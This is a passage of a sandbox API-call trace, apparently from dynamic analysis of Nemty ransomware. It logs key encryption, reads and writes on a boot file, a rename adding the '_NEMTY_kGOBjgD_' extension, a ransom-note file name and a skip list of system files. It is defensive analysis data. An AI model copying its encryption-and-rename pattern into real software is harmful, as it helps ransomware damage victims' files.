(dwMilliseconds=0x5) [0044.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xce0fe710, dwHighDateTime=0x1d561e7)) [0044.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xce0fe710, dwHighDateTime=0x1d561e7)) [0044.225] GetLastError () returned 0xb7 [0044.225] SetLastError (dwErrCode=0xb7) [0044.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.225] GetLastError () returned 0xb7 [0044.225] SetLastError (dwErrCode=0xb7) [0044.225] GetLastError () returned 0xb7 [0044.225] SetLastError (dwErrCode=0xb7) [0044.225] GetLastError () returned 0xb7 [0044.225] SetLastError (dwErrCode=0xb7) [0044.225] GetLastError () returned 0xb7 [0044.225] SetLastError (dwErrCode=0xb7) [0044.225] GetLastError () returned 0xb7 [0044.225] SetLastError (dwErrCode=0xb7) [0044.225] GetLastError () returned 0xb7 [0044.225] SetLastError (dwErrCode=0xb7) [0044.225] GetLastError () returned 0xb7 [0044.225] SetLastError (dwErrCode=0xb7) [0044.225] GetLastError () returned 0xb7 [0044.225] SetLastError (dwErrCode=0xb7) [0044.225] GetLastError () returned 0xb7 [0044.225] SetLastError (dwErrCode=0xb7) [0044.225] GetLastError () returned 0xb7 [0044.226] SetLastError (dwErrCode=0xb7) [0044.226] GetLastError () returned 0xb7 [0044.226] SetLastError (dwErrCode=0xb7) [0044.226] GetLastError () returned 0xb7 [0044.226] SetLastError (dwErrCode=0xb7) [0044.226] GetLastError () returned 0xb7 [0044.226] SetLastError (dwErrCode=0xb7) [0044.226] GetLastError () returned 0xb7 [0044.226] SetLastError (dwErrCode=0xb7) [0044.226] GetLastError () returned 0xb7 [0044.226] SetLastError (dwErrCode=0xb7) [0044.226] GetLastError () returned 0xb7 [0044.226] SetLastError (dwErrCode=0xb7) [0044.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.226] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0044.226] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0044.226] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0044.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0044.226] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="IgfqvuPqBfQRdWtUP1K7ndV1kcXujTJDa0U3ZdUSMyC42u2/WmmOlpA96mGYlqDJ\r\ngZOY4vYJNuQqlja10EkPM32yZtYDFV3K3OSIxSgjI2u0NCqnvoo1z3JViGfMt8Sr\r\nsMlLF7kq10uDQEFZbQKinRe7ekiJL50pVbv4qWEDTAmDyJrXvlPWkgufSbS1+Msw\r\nJkGRJ4QyotGcgptadT5XVyUcfsfl5YlI9ninwZSA5PMrkilCZeG70nr5NWERrUk3\r\nQo3XggboafEH8AlCpTD0MKeSGphxDDM1soxXkMHnJrVkkuttmB98waHCdlZTj09F\r\naH4ukabjM5xKy8Tn932Lzw==\r\n", pcchString=0x653f2dc) returned 1 [0044.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0044.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0044.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0044.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0044.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0044.227] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.227] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0044.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0044.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.227] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.236] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.236] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.246] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.246] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.255] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.255] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.265] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.265] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.274] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.274] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.283] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.298] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.309] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.309] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.319] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.319] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.329] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.329] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.335] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.335] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.341] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.342] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.342] CloseHandle (hObject=0xffffffff) returned 0 [0044.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.342] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.342] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0044.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0044.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.342] MoveFileW (lpExistingFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0044.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0044.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0044.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0044.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0044.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.342] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce0b2450, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xce0b2450, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce0d85b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0044.342] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0044.342] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0044.342] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0044.342] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0044.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0044.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edd0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.344] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce0b2450, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xce0b2450, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce0d85b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0044.344] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0044.344] HeapFree (in: hHeap=0x4f90000, 